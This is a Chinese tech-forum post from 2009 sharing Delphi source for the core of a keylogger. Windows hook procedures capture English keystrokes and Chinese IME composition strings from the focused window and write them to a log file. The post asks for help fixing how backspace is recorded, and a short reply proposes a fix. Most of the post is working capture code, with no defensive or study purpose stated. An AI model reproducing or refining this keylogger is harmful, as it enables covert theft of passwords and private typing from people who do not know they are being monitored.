首页 电脑 电脑学堂 查看内容

一个中英文键盘记录代码

2009-2-11 03:41 880 0

摘要: 一个声明:基本实现监视记录功能,参考了网上的相关代码(特别是那个汇编做的)一个问题:自己测试发现遇到退格键时会记录成[<=](多出前面一个),下面给出关键代码,...
关键词: nbsp 字符串 cchar ImmGetCompositio then end wParam ToFileProc himc nString

一个声明:基本实现监视记录功能,参考了网上的相关代码(特别是那个汇编做的)一个问题:自己测试发现遇到退格键时会记录成[<=](多出前面一个),下面给出关键代码,大家试试看还有什么问题,如何解决?function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;varpcs:pMSG;beginResult:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);if (nCode = HC_ACTION) thenbeginpcs:=PMSG(lparam);if pcs^.message = WM_KEYUP thenbegin  if pcs^.wParam<$30 then  begin  if pcs^.wParam=VK_UP then ToFileProc('[↑]')  else  if pcs^.wParam=VK_LEFT then ToFileProc('[←]')  else  if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')  else  if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')  else  if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了  else  if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')  else  if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')  else  if PCS^.wParam=VK_Delete then ToFileProc('[Del]')  else  if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')  else  if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');  end;endelseif pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)begin  if not (IsDBCSleadByte(pcs^.wParam)) then  begin  if (wParam and PM_REMOVE)>0 then  begin    if pcs^.wParam=VK_SPACE then ToFileProc(' ')    else    if pcs^.wParam=VK_RETURN then ToFileProc('#10')    else    ToFileProc(char(pcs^.wParam AND $FF))  end;  end;end;end;pcs:=nil;end;function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;vardwLen:DWORD;himc:HWND;hFocus:THandle;pcs:PCWPSTRUCT;beginResult:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);if (nCode = HC_ACTION) thenbeginpcs:=PCWPSTRUCT(lparam);if PCs^.message = WM_IME_COMPOSITION then  begin  hFocus := GetFocus();  HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄  if HIMC = 0 then Exit;  //将ImmGetCompositionString的获取长度设为0来获取字符串大小.  dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);  if dwLen > 0 then  begin    // 再调用一次.ImmGetCompositionString获取字符串    if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then    begin    if strcomp(cchar,cchar2)<>0 then    ToFileProc(cchar);    strcopy(cchar2,cchar);    ZeroMemory(@cchar,20);    end;  end;  ImmReleaseContext(hFocus, HIMC);end;end;pcs:=nil;end;删除前面一个字符串就好了这个东西你可以先声明一个string.然后有消息进入的时候事先读取已经存储的字符串然后删除前面一位再写回去就好了或者你直接操作字符串也可以把当前输入指针的前面一位给替换撑0x00就OK了
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部